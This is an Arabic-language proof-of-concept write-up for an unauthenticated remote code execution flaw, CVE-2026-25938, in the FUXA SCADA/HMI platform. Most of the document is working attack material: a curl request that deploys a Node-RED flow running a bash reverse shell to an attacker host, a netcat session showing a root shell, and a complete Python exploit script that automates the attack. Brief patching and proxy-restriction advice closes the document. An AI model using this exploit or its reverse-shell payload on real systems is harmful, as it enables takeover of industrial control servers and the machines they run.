
شرح وإثبات مفهوم (PoC) لاستغلال ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) غير المصادق عليها CVE-2026-25938 في FUXA
FUXA هي منصة ويب مجانية ومفتوحة المصدر لـ SCADA (التحكم الإشرافي والحصول على البيانات) و HMI (واجهة الإنسان والآلة)، تُستخدم في الأتمتة الصناعية وإنترنت الأشياء والتصور اللحظي للعمليات. تتيح للمستخدمين بناء لوحات تحكم مخصصة ومراقبة الآلات مباشرة داخل متصفح الويب دون الحاجة إلى برمجيات احتكارية باهظة الثمن أو محررات سطح مكتب ثقيلة.
تؤثر الثغرة CVE-2026-25938 على إصدارات FUXA من 1.2.8 إلى 1.2.10 عندما يكون تكامل Node-RED مفعّلاً (وهو مفعّل افتراضيًا). تنبع الثغرة من عدم فرض المصادقة بشكل كافٍ على الوظائف التي تكشف إمكانيات Node-RED، مما يسمح لـ مهاجم عن بُعد غير مصادق عليه بالوصول إلى عمليات تتطلب ترخيصًا مثل إنشاء التدفقات (flows)، ومن بينها القدرة على تنفيذ أوامر على النظام. ولأن Node-RED يمكنه تنفيذ التدفقات بصلاحيات عملية FUXA، فإن تجاوز المصادقة هذا قد يؤدي في النهاية إلى تنفيذ أكواد عشوائية عن بُعد على الخادم الأساسي. تمت معالجة المشكلة في FUXA 1.2.11 والإصدارات الأحدث.
سنقوم بتشغيل حاوية Docker باستخدام إصدار مُعرّض للثغرة من FUXA، في هذه الحالة الإصدار 1.2.8:
docker run -d -p 1881:1881 --name fuxa-1.2.8 frangoteam/fuxa:1.2.8
الحمولة التالية ستؤدي إلى تشغيل قشرة عكسية (reverse shell) إلى عنوان IP المحدد في عقدة exec من خلال استغلال الثغرة:
tab ستنشئ تدفقًا باسم "RCE".inject سيتم تشغيلها تلقائيًا عند النشر. كل ذلك بسبب هذه المعاملات "once": true و "onceDelay": 0.1exec ستنفذ الأمر الذي نريد تنفيذه، وفي هذه الحالة هو القشرة العكسية. وهو محدد في "command": "bash <snip>".curl -X POST http://<IP_ADDRESS>:1881/nodered/flows \
-H "Content-Type: application/json" \
-H "Node-RED-Deployment-Type: full" \
-H "Referer: http://192.168.1.201:1881/editor" \
-d '[
{
"id": "tab1",
"type": "tab",
"label": "RCE",
"disabled": false,
"info": ""
},
{
"id": "inject1",
"type": "inject",
"z": "tab1",
"name": "",
"props": [{"p": "payload"}],
"repeat": "",
"crontab": "",
"once": true,
"onceDelay": 0.1,
"topic": "",
"payload": "",
"payloadType": "date",
"x": 150,
"y": 100,
"wires": [["exec1"]]
},
{
"id": "exec1",
"type": "exec",
"z": "tab1",
"command": "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1",
"addpay": "",
"append": "",
"useSpawn": "false",
"timer": "",
"winHide": false,
"oldrc": false,
"name": "",
"x": 350,
"y": 100,
"wires": [["debug1"], [], []]
}
]'
إذا أنشأنا مستمعًا (listener) للقشرة العكسية، فسوف نتلقى اتصالًا يحوي قشرة بصلاحيات الجذر (root) عند إرسال الحمولة:
┌──(kali㉿jbkira)-[~]
└─$ nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.1.36] from (UNKNOWN) [192.168.1.201] 59546
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@887eaf642fc4:/usr/src/app/FUXA/server#
#!/usr/bin/env python3
import argparse
import requests
import sys
import json
# Color codes for terminal output
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
ORANGE = "\033[33m"
BLUE = "\033[94m"
RESET = "\033[0m"
def exploit(target_url, listener_ip, listener_port):
# Extract host:port from URL for Referer
target_host = target_url.split("//")[1].split("/")[0]
# Build the full endpoint
if not target_url.endswith("/"):
target_url += "/"
endpoint = f"{target_url}nodered/flows"
# Payload for the exploit
payload = [
{
"id": "tab1",
"type": "tab",
"label": "RCE",
"disabled": False,
"info": ""
},
{
"id": "inject1",
"type": "inject",
"z": "tab1",
"name": "",
"props": [{"p": "payload"}],
"repeat": "",
"crontab": "",
"once": True,
"onceDelay": 0.1,
"topic": "",
"payload": "",
"payloadType": "date",
"x": 150,
"y": 100,
"wires": [["exec1"]]
},
{
"id": "exec1",
"type": "exec",
"z": "tab1",
"command": f"bash -i >& /dev/tcp/{listener_ip}/{listener_port} 0>&1",
"addpay": "",
"append": "",
"useSpawn": "false",
"timer": "",
"winHide": False,
"oldrc": False,
"name": "",
"x": 350,
"y": 100,
"wires": [["debug1"], [], []]
}
]
headers = {
"Content-Type": "application/json",
"Referer": f"http://{target_host}/editor"
}
try:
response = requests.post(endpoint, json=payload, headers=headers, timeout=10)
if response.status_code == 200 or response.status_code == 204:
print(f"{GREEN}[+] Exploit successful! Check your listener for a reverse shell. ;){RESET}")
else:
print(f"{RED}[-] Exploit failed. Status Code: {response.status_code}{RESET}")
except requests.exceptions.RequestException as e:
print(f"{RED}[-] Error occurred: {e}{RESET}")
def argparse_setup():
parser = argparse.ArgumentParser(description="Exploit for FUXA Unauthenticated RCE (CVE-2026-25938) created by JBKira")
parser.add_argument("-u", "--url", help="Target URL (e.g., http://targetIP:1881/)", required=True)
parser.add_argument("-l", "--listener-ip", help="Your listener IP for reverse shell", required=True)
parser.add_argument("-lp", "--listener-port", type=int, default=443, help="Port for reverse shell (default: 443)")
return parser.parse_args()
def banner():
print(f"{YELLOW}")
print(r"""
_____ _ _ _____ _____ _____ _____ ____ _____ _____ _____ _____ _____
/ __ \ | | | ___| / __ \| _ |/ __ \ / ___| / __ \| ___|| _ ||____ | _ |
| / \/ | | | |__ ______`' / /'| |/' |`' / /'/ /___ ______`' / /'|___ \ | |_| | / /\ V /
| | | | | | __|______| / / | /| | / / | ___ \______| / / \ \\____ | \ \/ _ \
| \__/\ \_/ / |___ ./ /___\ |_/ /./ /___| \_/ | ./ /___/\__/ /.___/ /.___/ / |_| |
\____/\___/\____/ \_____/ \___/ \_____/\_____/ \_____/\____/ \____/ \____/\_____/
""")
print(f"CVE-2026-25938 Exploit for FUXA NODE-RED Unauthenticated RCE created by JBKira{RESET}")
print(f"{ORANGE}github.com/judgedbykira{RESET} | {BLUE}linkedin.com/in/yeray-medina{RESET}")
print(f"Only use this in real penetration tests or lab environments. Unauthorized use is illegal.\n")
def main():
args = argparse_setup()
banner()
exploit(args.url, args.listener_ip, args.listener_port)
if __name__ == "__main__":
main()
قم بالتحديث إذا أمكن إلى إصدار مساوٍ أو أحدث من 1.2.11؛ فقد تم إصلاح الثغرة في الإصدار 1.2.11.
إذا لم يكن التحديث ممكنًا، يمكنك القيام بما يلي:
إذا كنت تستخدم Apache كنقطة دخول للتطبيق. لن يعمل إذا تعذّر على Apache رؤية عنوان IP الخاص بالعميل بسبب NAT أو Docker Proxy أو ما شابه ذلك.
<LocationMatch "^/nodered/">
Require ip 127.0.0.1
Require ip ::1
Require ip <TRUSTED_MGMT_CIDR>
</LocationMatch>
إذا كنت تستخدم NGINX كنقطة دخول للتطبيق. لن يعمل إذا تعذّر على NGINX رؤية عنوان IP الخاص بالعميل بسبب NAT أو Docker Proxy أو ما شابه ذلك.
location /nodered/ {
allow 127.0.0.1;
allow ::1;
allow <TRUSTED_MGMT_CIDR>;
deny all;
}